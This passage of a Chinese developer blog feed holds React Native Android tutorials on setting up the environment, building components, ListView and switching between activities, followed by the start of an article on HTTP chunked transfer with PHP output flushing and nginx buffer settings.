<p><img src="/img/bVzGqY" alt="013122_2POf_1177792.png" title="013122_2POf_1177792.png"><br>图1.2.3</p>
<h3>1.3 为新的activity添加渲染的view</h3>
<p>我们有了新的activity,也就要添加一个渲染的view。打开项目中的index.android.js,新建一个react组件,并将其注册</p>
<pre><code>class detail extends Component {
constructor(props) {
super(props);
}
render() {
return <View>
<Text>detail!!!</Text>
</View>;
}
}
AppRegistry.registerComponent('detail', () => detail);</code></pre>
<p>至此,我们的view也有了。</p>
<h3>1.4 先来看看我们新做的activity</h3>
<p>为了早点看到效果,我们先把新制作的activity作为主要启动的activity。只需改写AndroidManifest.xml即可。</p>
<pre><code><manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.hellowreact"
android:versionCode="1"
android:versionName="1.0">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-sdk
android:minSdkVersion="16"
android:targetSdkVersion="22" />
<application
android:allowBackup="true"
android:label="@string/app_name"
android:icon="@mipmap/ic_launcher"
android:theme="@style/AppTheme">
<activity
android:name=".MainActivity"
android:label="@string/app_name"
android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
</activity>
<activity android:name="com.facebook.react.devsupport.DevSettingsActivity" />
<activity android:name=".DetailActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest></code></pre>
<p>我们吧intent-filter从MainActivity中提出,并放到了DetailActivity中去。<br>让我们重装一下应用,于是我们就看到了新的activity,并看到了新增加的react组件渲染到了其上(如图1.4.1)。<br><img src="/img/bVzGra" alt="014548_glP7_1177792.png" title="014548_glP7_1177792.png"><br>图1.4.1</p>
<h3>1.5 开始写activity之间的跳转</h3>
<p>看过了新添加的activity之后,让我们先把AndroidManifest.xml给改回去。这样我们的启动界面就又是我们的列表啦(如图1.5.1)<br><img src="/img/bVzGrv" alt="015623_ehB5_1177792.png" title="015623_ehB5_1177792.png"><br>图1.5.1<br>我们在MainActivity中,添加对于onBackPressed的重写(当返回键按下的时候)</p>
<pre><code>public class MainActivity extends ReactActivity {
@Override
public void onBackPressed() {
super.onBackPressed();
Intent intent = new Intent(this, DetailActivity.class);
startActivity(intent);
}
........</code></pre>
<p>当用户,按下返回键的时候,跳转到我们的DetailActivity中去。<br>重新Run一下app,我们看到了列表页,点击返回按钮的时候(如图1.5.2),我们看到跳转到了DetailActivity里面去,大功告成(如图1.5.3)<br><img src="/img/bVzGrG" alt="020117_HBD6_1177792.png" title="020117_HBD6_1177792.png"><br>图1.5.2<br><img src="/img/bVzGrH" alt="020147_uYXe_1177792.png" title="020147_uYXe_1177792.png"><br>图1.5.3</p>
<p>怎么样,是不是和页面跳转一样简单呢?</p>
<p>本文中相关例子,可以在此找到:<br><a href="https://link.segmentfault.com/?enc=MmepeYKUnaPRZkrIjJpk8w%3D%3D.XHLD0dplZ7R9pC6ug6%2BesWx%2Ba3Cek2QWGrwJJTLt05V8zwZAjM0dCfuyo7CXsNK7ZeONsO7C%2B23p21%2B7Dy2PfkuP8V6QygNbQ7WhuyXom%2Bkjp4bJdkiyiQ08bFZqHEtX" rel="nofollow">https://github.com/houyu01/re...</a></p>
<p>既然了解了原生知识,我们下一节将利用本节学到的原生知识,使用js去调用。这样双剑合璧,便可以更加高效的开发react-native应用啦~</p>
[React Native Android 安利系列] 创建简单 RN 应用(以js角度来看RN)
https://segmentfault.com/a/1190000006059149
2016-07-24T23:46:35+08:00
2016-07-24T23:46:35+08:00
侯医生
https://segmentfault.com/u/doctorhou
1
<p>欢迎大家收看react-native-android系列教程,跟着本系列教程学习,可以熟练掌握react-native-android的开发,你值得拥有<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>书接上回,我们已经掌握了如何使用android studio与reactnative搭建一个react的基础环境,并使用其成功的制作出了一个hello world,接下来,我们要探索一下如何利用react-native制作出比HelloWorld复杂一点的界面(虽然是个界面都比helloWorld复杂),顺便一起审视一些ReactNativeAndroid工程的目录结构。</p>
<h2>1. 目录结构</h2>
<p>首先我们来回顾一下,我们的helloReact工程的目录结构。</p>
<p>打开CMD,或者终端,我们可以看到helloReact工程下,有三个目录,和三个文件,如图1.1所示</p>
<p>图1.1</p>
<pre><code>1.1 android目录 这个就是咱们的安卓工程了。里面存放着生成的android应用代码。
1.2 IOS目录 这个是IOS开发的目录,之后的react-native ios篇,我们再详细聊一下。
1.3 index.android.js 这个是安卓版本的js入口。
1.4 index.ios.js 这个是ios版本的js入口。
1.5 package.json 这个是本项目,这里记载着项目的基本数据和依赖项。
1.6 node_modules 这个是项目依赖的npm库的代码。其中当然也包括ReactNative代码的源码,在之后的章节里面,我们将会一起来读一下ReactNative的源代码。</code></pre>
<h2>2. 查看项目js</h2>
<p>我们详细来看一下index.android.js,这里用的是es6的语法,不过对于一般做过前端的人来说,是可以看懂了,做java的应该也大致能看懂这里写的是什么。</p>
<pre><code>import React, { Component } from 'react';
import {
AppRegistry,
StyleSheet,
Text,
View
} from 'react-native';
class hellowReact extends Component {
render() {
return (
<View style={styles.container}>
<Text style={styles.welcome}>
Welcome to React Native!
</Text>
<Text style={styles.instructions}>
To get started, edit index.android.js
</Text>
<Text style={styles.instructions}>
Shake or press menu button for dev menu
</Text>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F5FCFF',
},
welcome: {
fontSize: 20,
textAlign: 'center',
margin: 10,
},
instructions: {
textAlign: 'center',
color: '#333333',
marginBottom: 5,
},
});
AppRegistry.registerComponent('hellowReact', () => hellowReact);</code></pre>
<p>位于上方的1~8行是对于react-native依赖的导入</p>
<p>接下来9~25行,定义了一个react的类,一个简单的类,只需要拥有render方法即可渲染,在render方法中,我们返回了需要渲染的组件的组合。</p>
<p>请注意,在render中返回的并不是字符串,而是JSX语法的组件组合。这些组件渲染至APP中。并且在JSX中,我们直接输出了变量{styles.xxx},在jsx中,我们的js变量如需输出,则需要放置在界符中{}</p>
<p>再次注意,在这里,我们使用js去调用了react-native提供的原生组件,就像网页上的HTML标签一样,这更接近web编程。接下来,我们还会分享更多组件的用法。</p>
<p>27~44行,则大致向我们展示了react-native的样式写法。以一种js的方式去定义样式表,但是属性和取值,使用的也的确很像我们亲切的css</p>
<p>最后将45~46行,将写好的组建,注册至react-native。</p>
<h2>3. 动手改写,写一个自定义的属性</h2>
<p>接下来,我们要自定义一个变量,变量里面填充好数据,待点击后,让View发生变化。<br>首先我们给hellowReact类,添加构造方法:</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
// 定义了初始的状态
this.state = {
word: 'hello'
};
}
render() {
// 在JSX中,直接使用state中定义的word->this.state.word,并进行输出
return (
<View style={styles.container}>
<Text style={styles.welcome}>
{this.state.word}
</Text>
</View>
);
}
}</code></pre>
<p>构造方法中,指定了helloReact的state属性,其中有一个word属性。在这里,我们也把render方法改变一下。直接将helloReact组建的state中的word属性,渲染至界面上,摇一摇手中打开的helloReact的APP,点击reloadjs,重新加载我们更改过的js(结果如图3.1所示)</p>
<p><img src="/img/bVzAoO" alt="232558_LoqS_1177792.png" title="232558_LoqS_1177792.png"><br>图3.1</p>
<p>此时,我们看到界面上渲染了,我们的word,"hello"。</p>
<p>接下来,我们需要再次对我们的APP进行一些改造</p>
<pre><code>class hellowReact extends Component {
constructor(props) {
super(props);
this.state = {
word: 'hello'
};
}
// 更改state中word的函数
changeWord() {
// 更改状态,将word变量,更改为'world'
this.setState({
word: 'world'
});
}
render() {
// 点击时触发changeWord函数,更改状态
return (
<View style={styles.container} onTouchEnd={this.changeWord.bind(this)}>
<Text style={styles.welcome}>
{this.state.word}
</Text>
</View>
);
}
}</code></pre>
<p>我们在View发生touchEnd的时候,调用自定义函数,changeWord。该方法将调用方法setState,将state中的word进行更改。</p>
<p>紧接着,我们再次在APP上reloadjs。渲染的还是之前的hello,我们点击界面,则界面渲染为"world"(如图3.2所示)</p>
<p><img src="/img/bVzAps" alt="233405_ktgz_1177792.png" title="233405_ktgz_1177792.png"><br>图3.2</p>
<h2>4. 回顾一下,我们都干了什么</h2>
<p>通过上述的实践,我们发现,其实react将我们的界面组件,看做一个状态机,在定义的render方法中,我们将"组件"与"状态"的糅杂--JSX,告知react,react在用户触发了状态变化时,帮我们重新进行了渲染。这个行为,在组件中的体现,就是setState。于是我们惊喜的发现,我们只要更改状态(setState)就好了。至于渲染,则不用操心,我们调用了setState,界面自动就被重新渲染了。</p>
<p>而事件绑定,也像极了web编程中的DOM上绑定onclick事件的做法。在touchEnd的时候,会触发我们预先设定好的回掉函数。</p>
<h2>5. 创建一个react-native-android的简单列表</h2>
<p>接下来,我们要一起做一个列表项。首先,我们引入react-native提供的组建,ListView。</p>
<pre><code>import React, { Component } from 'react';
import {
AppRegistry,
StyleSheet,
Text,
View,
ListView
} from 'react-native';</code></pre>
<p>import的列表中,最后加入ListView。</p>
<p>然后,我们在constructor里面,加入一个状态</p>
<pre><code> constructor(props) {
super(props);
var list = new ListView.DataSource({rowHasChanged: (r1, r2) => r1 !== r2});
this.state = {
list: list.cloneWithRows(['hello', 'react', 'this', 'is', 'my', 'listView'])
};
}</code></pre>
<p>是一个符合ListView格式的数据源。接下来,我们在render中渲染这个ListView</p>
<pre><code> render() {
return (
<View style={styles.container}>
<ListView
dataSource={this.state.list}
renderRow={this.oneRow}
/>
</View>
);
}</code></pre>
<p>其中,renderRow属性,指定的是,渲染ListView中每一项的方法。我们可以直接写个比较简单的text组件。</p>
<pre><code> oneRow(oneItem) {
return <Text>{oneItem}</Text>;
}</code></pre>
<p>我们看看整体的代码</p>
<pre><code>import React, { Component } from 'react';
import {
AppRegistry,
StyleSheet,
Text,
View,
ListView
} from 'react-native';
class hellowReact extends Component {
constructor(props) {
super(props);
var list = new ListView.DataSource({rowHasChanged: (r1, r2) => r1 !== r2});
this.state = {
list: list.cloneWithRows(['hello', 'react', 'this', 'is', 'my', 'listView'])
};
}
oneRow(oneItem) {
// 提供列表中,每一个item的渲染方式
return <Text>{oneItem}</Text>;
}
render() {
// 渲染中使用了列表
return (
<View style={styles.container}>
<ListView
dataSource={this.state.list}
renderRow={this.oneRow}
/>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F5FCFF',
},
});
AppRegistry.registerComponent('hellowReact', () => hellowReact);</code></pre>
<p>保存后,我们reload一下新改好的js。结果如图5.1所示</p>
<p><img src="/img/bVzApQ" alt="000502_fHJK_1177792.png" title="000502_fHJK_1177792.png"><br>图5.1</p>
<p>这里,我们学会了,如何使用js去调用react-native提供的原生组件。原生组件有很多,基本能覆盖我们日常开发需要的基础组件(如刚刚的ListView/View/Text等),但是还有很多我们个性化的需求,无法满足的时候,我们又该怎么办呢?这一系列会详细讲解React中js调用原生代码的方法。</p>
<p>上述讲解,可以在这里找到相关例子:</p>
<p><a href="https://link.segmentfault.com/?enc=36vKLU2Uk%2FiWNo%2BgQrpkIA%3D%3D.GrxM02euNXhcvavNOWjyaBDGbhUC2lCYHm0g62Zgej6dUZKJaGdCO35nQm%2BAzf7dtaxGAw5Yen5YWev41pgtgCd4T8BnpCLHJIfclvaTXmv%2BL56MY74rqSwRyCJPz31t" rel="nofollow">https://github.com/houyu01/re...</a></p>
<p>下节更精彩,我们将来一起看看android原生的小知识,加强我们开发react-native的底层了解。不要走开,请关注我.....</p>
<p><strong>如果喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。</strong></p>
[React Native Android安利系列]搭建React Native Android环境
https://segmentfault.com/a/1190000006037447
2016-07-22T00:34:53+08:00
2016-07-22T00:34:53+08:00
侯医生
https://segmentfault.com/u/doctorhou
4
<p>欢迎大家收看react-native-android系列教程,跟着本系列教程学习,可以熟练掌握react-native-android的开发,你值得拥有<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>(PS,和聊一聊系列写在一起也实在是没辙, 谁知道如何新建专栏,给我留个言.....)</p>
<p>React-Native的横空出世,满足了前端工程师们的愿景,摆脱了浏览器,前端开发者们又有了一个方向。但是本人认为,ReactNative更像是套了一层前端壳子的原生开发,要想了解RN还是需要多多理解原生开发的。废话不多说,想了解更多的RN心灵鸡汤,自己去百度就好了。</p>
<p>搭建react-native的文章虽然很多,但大多数都是搭建js层面的,没有结合原生android和android开发去讲。这一套教程,将会更多的结合原生的安卓去讲react-native。</p>
<h2>1. 环境</h2>
<p>首先,我们需要搭建一个开发环境。无论是window/mac/linux中的哪一个,必须要具备的条件有以下几点</p>
<h3>1.1 安装jdk</h3>
<p>windows的话,在cmd中执行java -version看就行,mac/linux的话。在终端下,直接执行java -version命令进行查看,如果没有,请百度"jdk安装与环境变量配置"。直到使用java -version的时候,出现了如下图所示的信息,则证明你安装成功了(如图1.1.1)。<br><img src="/img/bVzuJJ" alt="151012_w1zW_1177792.png" title="151012_w1zW_1177792.png"><br>图1.1.1</p>
<h3>1.2 安装nodejs</h3>
<p>nodejs的官网上有各个系统的下载包,window下可以直接下载exe可执行的node,然后把node.exe所在的路径,添加到环境变量中即可,这样安装更加干净。直到,在windows下的CMD,或者mac下的终端任意目录下,输入node,可以出现如图2.3.1所示即可。<br><img src="/img/bVzuJP" alt="103643_G2bE_1177792.png" title="103643_G2bE_1177792.png"><br>图2.3.1</p>
<h3>1.3 安装NPM</h3>
<p>一般来讲,安装了nodejs,也会顺带着安装上npm,不过有的时候,我们需要单独安装,windows下,如果使用了node.exe的话,可以自行百度一下 "windows安装npm" 按照说明安装npm,并且把npm添加到环境变量中去。直到在终端或者CMD任意目录下,执行npm出现如图1.3.1所示信息,则意味着,你安装成功了。<br><img src="/img/bVzuJR" alt="103725_UFOf_1177792.png" title="103725_UFOf_1177792.png"><br>图1.3.1</p>
<h3>1.4 安装react-native-cli</h3>
<p>这个工具是react-native的命令行工具,是我们接下来运行工程的基础。安装的话,直接使用。</p>
<pre><code>npm install -g react-native-cli</code></pre>
<p>命令进行安装即可,mac/linux下的话,可能会报错:<br>npm ERR! Error: EACCES: permission denied, mkdir '/usr/local/lib/node_modules/react-native-cli'<br>这个时候,证明你的权限不够,可以在命令前面加上sudo:</p>
<pre><code>sudo npm install -g react-native-cli</code></pre>
<h3>1.5 安装android sdk</h3>
<p>这里建议把android studio与android sdk一起安装,android的官网上即可下载与安装,有bundle版的话,更加的省事。</p>
<h3>1.6 安装安卓模拟器</h3>
<p>如果有安卓手机的话,更推荐使用安卓手机进行真机调试,如果没有的话,我们也可以通过安卓模拟器进行调试,windows的话,建议下载blue stack(下载安装即可),mac/linux的话,可以使用android sdk里面自带的avd,创建新的设备进行调试。</p>
<h2>2. react-native的helloworld</h2>
<p>接下来,我们从一个使用了android studio与react-native的hello world入手。开启我们的react-native-android之旅。</p>
<h3>2.1 创建工程</h3>
<p>我们挑一个干净的文件夹来初始化我们的工程。windows的话,通过dos命令行(程序中查找cmd进入)。linux/mac的话,通过bash进入到文件夹下,执行以下命令创建工程,如图2.1.1</p>
<pre><code>react-native init hellowReact</code></pre>
<p><img src="/img/bVzuKn" alt="232831_0EIl_1177792.png" title="232831_0EIl_1177792.png"><br>图2.1.1<br>等待片刻,我们会看到生成了一个新的项目(helloReact),生成的项目里面包含了IOS版本与Android版本的默认项目。</p>
<h3>2.2 用android studio打开</h3>
<p>此时我们可以使用android studio打开,新建项目下的android文件夹,如图2.2.1所示。<br><img src="/img/bVzuKM" alt="095226_S25n_1177792.png" title="095226_S25n_1177792.png"><br>图2.2.1<br>打开工程后,我们可以看到下方开始编译bundle,如图2.2.2。<br><img src="/img/bVzuKQ" alt="095241_twjF_1177792.png" title="095241_twjF_1177792.png"><br>图2.2.2<br>等待build gradle的过程比较漫长,需要耐心等待一下。build好之后,我们就能看到在我们的andriod studio中出现了新建的工程。<br>如果发现没有build,那么请看看控制台,是否提示没有安装什么gradle,如果是的话,点击进行安装即可,如图2.2.3。<br><img src="/img/bVzuKT" alt="095457_vEgB_1177792.png" title="095457_vEgB_1177792.png"><br>图2.2.3</p>
<h3>2.3 将安卓工程编译并安装到机器上</h3>
<p>在准备就绪后,工程上方的工具栏,会出现可以编译的按钮(如图2.3.1所示)我们点击绿色的运行按钮<br><img src="/img/bVzuK9" alt="095833_3Vlk_1177792.png" title="095833_3Vlk_1177792.png"><br>图2.3.1<br>如果使用了bluestack的话,请把bluestack打开,如果使用手机调试的话,请把手机的开发人员选项打开,并且把USB调试选项打开。我们这里直接使用了手机调试(如图2.3.2的调试列表中出现了我们连接的手机)。<br><img src="/img/bVzuLa" alt="095939_7FvN_1177792.png" title="095939_7FvN_1177792.png"><br>图2.3.2<br>无论你用哪种方式,在点击完绿色的运行按钮之后,都会看到选择设备的列表。选择自己的设备,然后点击OK。开始编译(如图2.3.3)。<br><img src="/img/bVzuLj" alt="100048_iM5s_1177792.png" title="100048_iM5s_1177792.png"><br>运行完成之后,我们果然看到了。。。。。。。BUG(如图2.3.4)<br><img src="/img/bVzuLt" alt="100352_Eraf_1177792.png" title="100352_Eraf_1177792.png"><br>图2.3.4<br>不过,如果你运行到了这一步,恭喜你,你已经将react的安卓项目成功的编译并安装到手机上了。<br>出现这个BUG的原因主要是由于我们的app调试阶段回去远程寻找我们的js,而默认,它回去本地寻找,所以我们接下来要干两件事情,1. 搭建可以访问js的服务。 2.让手机上的react应用去按照这个服务寻找JS</p>
<h3>2.4 搭建服务</h3>
<p>用windows的CMD或者MAC/linux的终端,进入到hellowReact目录下(我们用react-native init创建的工程),然后执行,结果如图2.4.1:</p>
<pre><code>react-native start</code></pre>
<p><img src="/img/bVzuLD" alt="101114_GbgU_1177792.png" title="101114_GbgU_1177792.png"><br>图2.4.1</p>
<p>运行成功后,我们看到react-native利用了本机的8081端口,开启了一个js的服务,我们访问一下(结果如图2.4.2所示)。<br><a href="https://link.segmentfault.com/?enc=lO%2FzEJMx6Ic%2FfF2sRsIkqw%3D%3D.4Jdg8%2F%2FSwtlDryU%2FxY41oRRXFQWEhL8L8m%2B0qDQCF8SNVi1pOMILvMplrPcqE%2FJUnFF9NstmH0ueF20Hpuf%2F1Q%3D%3D" rel="nofollow">http://localhost:8081/index.a...</a><br>(PS:第一次访问编译会有点慢)<br><img src="/img/bVzuLK" alt="101314_rZky_1177792.png" title="101314_rZky_1177792.png"><br>图2.4.2</p>
<h3>2.5 设置app寻找js的地址</h3>
<p>接着,我们要进行第二步---让手机上的react应用去按照这个服务寻找JS<br>我们打开手机上那个报错的APP(hellowReact),然后摇一摇。(是的,摇一摇,不过不是微信)此时会出现开发者工具,如图2.5.1所示<br><img src="/img/bVzuLQ" alt="101639_gFlu_1177792.png" title="101639_gFlu_1177792.png"><br>图2.5.1<br>当然,你要是使用bluestack的话,也行,左侧工具栏里面有摇一摇。<br>如图2.5.2,点击Dev Settings,点击最下方的Debug server host & port for device,<br><img src="/img/bVzuLS" alt="101943_2hWD_1177792.png" title="101943_2hWD_1177792.png"><br>图2.5.2<br>会弹出配置项,这个配置项就是寻找js的地址啦:</p>
<p>那么地址如何填呢?<br>如果是真机调试的话,手机最好和自己的电脑在一个局域网下(使用了同一个wifi也可以),如果是bluestack的话,则不用管这个了。<br>windows电脑,请在CMD命令下,输入ipconfig查看自己的ipv4地址。或者用电脑右下角的查看网络连接,来查看自己的ipv4地址。如果是mac/linux的话,查看一下网络设置,上面会有写。自己的ip地址。<br>在配置项里面填写自己的ip地址:8081,如图2.5.3<br><img src="/img/bVzuLT" alt="102925_Kyjz_1177792.png" title="102925_Kyjz_1177792.png"><br>图2.5.3</p>
<h3>2.6 重新加载js,并运行成功</h3>
<p>点击确定,返回主界面。再摇一摇手机,然后点击reload js。运行结果如图2.6.1<br><img src="/img/bVzuLV" alt="103126_n9gI_1177792.png" title="103126_n9gI_1177792.png"><br>图2.6.1<br>于是,我们的hello world就大功告成啦,至此,我们的React-Native-Android环境也算大功告成了。</p>
<p>上述讲解,可以在这里找到代码例子:</p>
<p><a href="https://link.segmentfault.com/?enc=aMTeV0fFUAPH2aQ1%2B5BXcg%3D%3D.F2oOxkScmPjmv6sBE27thdHcuOYllOG38p6QlwNwaTpniob7Sr2kFoageUNYTLNDGFrL%2FelnptjyPn18C7VwuDIO1yIl%2BiMPKt1Q5ryTLiE%3D" rel="nofollow">https://github.com/houyu01/re...</a><br>不要走开,马上回来,下一篇,我们会介绍,如何在ReactNative中利用js编写我们想要的界面</p>
[聊一聊系列]聊一聊网页的分段传输与渲染那些事儿
https://segmentfault.com/a/1190000005989601
2016-07-17T17:54:30+08:00
2016-07-17T17:54:30+08:00
侯医生
https://segmentfault.com/u/doctorhou
18
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):<br><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<p>这一节,请跟随笔者聊一聊,网页的分段传输与渲染,用一些非常规手段优化我们的网站响应速度。</p>
<h2>1 CHUNKED编码</h2>
<h3>1.1 传统的渲染方法</h3>
<h4>1.1.1 传统的渲染方法怎么做?</h4>
<p>按照常理,我们渲染一张网页,必定是网页全部拼装完毕,然后生成HTML字符串,传送至客户端。这也意味着,如果一张网页处理的有快有慢的话,必须串行等到所有的逻辑都处理完毕。后端才能进行返回。(这也是我们目前网页的一般逻辑)。如下面的例子,三个很慢的读数据操作,均执行完毕后,才传送渲染页面。渲染效果如图1.1.1,15s之后才传送并渲染出页面:<br>normal.php</p>
<pre><code><?php
function getOneData() {
usleep(5000000);
return '我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出>的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出>的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出>的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出>的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据';
}
$var1 = getOneData();
function getTwoData() {
usleep(5000000);
return '是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据';
}
$var2 = getTwoData();
function getThreeData() {
usleep(5000000);
return '我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出>的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出>的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出>的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出>的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据';
}
$var3 = getThreeData();
// 渲染模板并输出
include('./normal.html.php');</code></pre>
<p>normal.html.php</p>
<pre><code><!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<div>1. <?php echo $var1;?></div>
<div>2. <?php echo $var2;?></div>
<div>3. <?php echo $var3;?></div>
</body>
</html></code></pre>
<p><img src="/img/bVzhwc" alt="clipboard.png" title="clipboard.png"><br>图1.1.1</p>
<p>上述例子,在本文后github中的normal文件夹中。</p>
<h4>1.1.2 传统的渲染方法有哪些弊端?</h4>
<p>如上所示,我们能看到,直出的网页中,存在着后端数据串行,互相等待的尴尬局面。这也为我们后续的优化埋下了伏笔。</p>
<h3>1.2 分段传输</h3>
<h4>1.2.1 何为分段传输?</h4>
<p>http1.1中引入了一个http首部,Transfer-Encoding:chunked。这个首部标识了实体采用chunked编码传输,chunked编码可以将实体分块儿进行传输,并且chunked编码的每一块内容都会自标识长度。这给了web开发者一个启示,如果需要多个数据,而多个数据均返回较慢的话。可以处理完一块就返回一块,让浏览器尽早的接收到html,可以先行渲染。</p>
<h4>1.2.2 如何分段传输?</h4>
<p>既然知道了我们可以将网页一块儿一块儿的传送,那么我们就可以将上面的网页进行改造,拿好一块儿需要的数据,便渲染一块儿,无需等待,而模板方面,自然也要拆分为三段,供服务端拿一块儿的模板,就渲染一块儿出去,效果如图1.2.2.1。<br>normal.php</p>
<pre><code><?php
function getOneData() {
usleep(5000000);
return '我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出>的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出>的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出>的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出>的第一个数据我是取出的第一个数据我是取出的第一个数据我是取出的第一个数据';
}
// 取出第一块儿的数据
$var1 = getOneData();
// 渲染第一块儿
include('./normal1.html.php');
//刷新到缓冲区,渲染第一份儿模板,传送到客户端
ob_flush();
flush();
function getTwoData() {
usleep(5000000);
return '我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出>的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出>的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出>的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出>的第二个数据我是取出的第二个数据我是取出的第二个数据我是取出的第二个数据';
}
// 取出第二块儿的数据
$var2 = getTwoData();
// 渲染第二块儿
include('./normal2.html.php');
//刷新到缓冲区,渲染第二份儿模板,传送到客户端
ob_flush();
flush();
function getThreeData() {
usleep(5000000);
return '我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出>的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出>的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出>的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出>的第三个数据我是取出的第三个数据我是取出的第三个数据我是取出的第三个数据';
}
// 获取第三块儿的数据
$var3 = getThreeData();
// 渲染第三块儿
include('./normal3.html.php');
// 将第三份儿的模板,传送到客户端
ob_flush();
flush();</code></pre>
<p>normal1.html.php</p>
<pre><code><!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
<div>1. <?php echo $var1;?></div></code></pre>
<p>normal2.html.php</p>
<pre><code><div>2. <?php echo $var2;?></div></code></pre>
<p>normal3.html.php</p>
<pre><code> <div>3. <?php echo $var3;?></div>
</body>
</html></code></pre>
<p><img src="/img/bVzhwa" alt="clipboard.png" title="clipboard.png"><br>图1.2.2.1<br>上述例子,在本文后github中的chunked文件夹中。</p>
<p>对比图图1.1.1与图1.2.2.1我们可以发现,虽然最后总的处理时长不变,但是采用了分段输出的网页,可以尽早的将一段HTML渲染到客户端,这样<strong>用户可以使用先到达的部分</strong>。另一方面,尽早的页面反馈,也<strong>可以减少用户等待的焦躁情绪</strong>。综上,使用此种优化方法,可以提速网页的渲染速度。</p>
<h4>1.2.3 分段传输小TIPs</h4>
<p>我们代码虽然如上所述,但是读者尝试的时候可能会发现,并没有什么效果。和我截图并不一样,还是等到15s后一起渲染出来了。这里要提醒大家一下,可能是由于nginx配置的原因。如果使用的是nginx做server的话,要使用如下配置才能看到效果。</p>
<pre><code>http {
....
fastcgi_buffer_size 1k;
fastcgi_buffers 16 1k;
gzip off;
....
}</code></pre>
<p>其实读者们可以这么理解上面的配置,nginx会在攒够一块儿缓冲区的量后,可以将一块儿数据发出去。上面我们配置了fastcgi_buffers 16 1k; 就是16块儿,大小为1K的缓存。</p>
<p>我们的数据量太小了,连默认的一块儿缓冲区都填不满,没法看到分块儿发送的效果,所以这里我们将缓冲区给调小为1K,这样就能1K为单位分块儿,1K一发,体现出实验效果了。笔者这里建议做实验的时候,最好把gzip给关了,因为,咱们做实验的时候数据量不大,实际使用中建议chunked与gzip均开启(如图1.2.3.1,如果量比较大的话,gzip与chunked均开启使用效果更佳哦~~~)。<br><img src="/img/bVzikq" alt="clipboard.png" title="clipboard.png"><br>图1.2.3.1</p>
<h4>1.2.4 分段传输适用场景</h4>
